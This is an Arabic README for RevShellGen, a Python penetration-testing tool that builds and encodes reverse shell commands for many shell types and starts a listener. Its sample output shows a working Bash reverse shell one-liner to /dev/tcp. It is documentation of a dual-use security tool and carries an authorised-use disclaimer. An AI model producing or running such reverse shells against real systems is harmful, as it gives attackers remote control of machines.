
مولد شل عكسي مكتوب بلغة بايثون 3.
مولّد الصدفة العكسية
أتمتة إنشاء الصدفات العكسية بأسلوب أنيق
أنشئ، شفّر، واستقبل الصدفات العكسية بلا عناء
الميزات • التثبيت • الاستخدام • أنواع الصدفات • المساهمة
RevShellGen هي أداة سطر أوامر قوية تُبسّط عملية إنشاء أوامر الصدفة العكسية. لا مزيد من البحث عن الصيغ، لا مزيد من التشفير اليدوي، لا مزيد من صداع الإعدادات. هذه الأداة تتولى كل ذلك بواجهة بديهية.
# التثبيت من PyPI
pip install revshellgen
# تشغيل الأداة
revshellgen
# استنساخ المستودع
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# تثبيت التبعيات
pip3 install -r requirements.txt
# تشغيل الأداة
python3 revshellgen.py # أو python3 revshellgen_cli.py
يتطلب RevShellGen حزم Python التالية:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # في Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# قد تحتاج إلى تثبيت python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# ثبّت ncat لدعم أفضل للمستمع
brew install nmap # يتضمن ncat
ابدأ تشغيل الأداة
python3 revshellgen.py
اضبط الصدفة العكسية
يُنسخ الأمر المُنشأ تلقائيًا إلى الحافظة
ابدأ تشغيل المستمع (تلقائي)
نفّذ الأمر على الجهاز الهدف
![]() اختيار الصدفة |
![]() توليد الأمر |
| نوع الصدفة | الوصف | المنصة |
|---|---|---|
| Bash | صدفة عكسية عبر TCP باستخدام Bash | Linux/Unix |
| Python | صدفة عكسية مبنية على Python | متعدد المنصات |
| Netcat | صدفة عكسية باستخدام nc التقليدية | Linux/Unix |
| Netcat mkfifo | Netcat مع أنبوب مسمى | Linux/Unix |
| Perl | صدفة عكسية مبنية على Perl | متعدد المنصات |
| PHP | صدفة عكسية باستخدام PHP | متعدد المنصات |
| Ruby | صدفة عكسية مبنية على Ruby | متعدد المنصات |
| Java | صدفة عكسية باستخدام Java | متعدد المنصات |
| AWK | صدفة عكسية باستخدام AWK | Linux/Unix |
| Socat | صدفة عكسية عبر Socat | Linux/Unix |
| Socat TTY | Socat مع TTY كامل | Linux/Unix |
| Telnet | صدفة عكسية باستخدام Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
يتضمن RevShellGen الآن إرشادات شاملة لترقية الصدفة إلى TTY. بعد استقبال الصدفة، توفر الأداة:
تكتشف الأداة تلقائيًا وتستخدم النوع المناسب من netcat:
ncat (المفضل، من حزمة nmap)nc (netcat التقليدي)nc الخاصة بنظام macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ اختيار IP ] ----------
[ x ] 192.168.1.10 على eth0
[ ] 10.0.0.5 على tun0
[ ] إدخال يدوي
---------- [ تحديد المنفذ ] ----------
[ # ] أدخل رقم المنفذ : 4444
---------- [ اختيار الأمر ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ أمر الصدفة العكسية ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] تم نسخ الأمر إلى الحافظة!
[ + ] بدأ تشغيل المستمع على المنفذ 4444...
المساهمات مرحّب بها! لا تتردد في تقديم طلب سحب (Pull Request). بالنسبة للتغييرات الكبيرة، يرجى فتح مشكلة (Issue) أولاً لمناقشة ما ترغب في تغييره.
# استنساخ نسختك الفرعية
git clone https://github.com/اسم_المستخدم/revshellgen
cd revshellgen
# أنشئ فرعًا
git checkout -b feature/اسم_الميزة
# قم بإجراء التغييرات ثم الالتزام
git add .
git commit -m "إضافة ميزة جديدة"
# ادفع إلى نسختك الفرعية
git push origin feature/اسم_الميزة
# أنشئ طلب سحب
وجدت خطأ أو لديك اقتراح؟ يرجى فتح مشكلة على GitHub.
هذا المشروع مرخص بموجب رخصة GNU العامة الإصدار 3.0 — راجع ملف الترخيص للتفاصيل.
هذه الأداة مخصصة لاختبارات الاختراق المصرح بها والأغراض التعليمية فقط.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها غير قانوني. يتحمل المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. يخلو المطورون من أي مسؤولية ولا يتحملون أي مسؤولية عن أي استخدام خاطئ أو ضرر ناتج عن هذا البرنامج.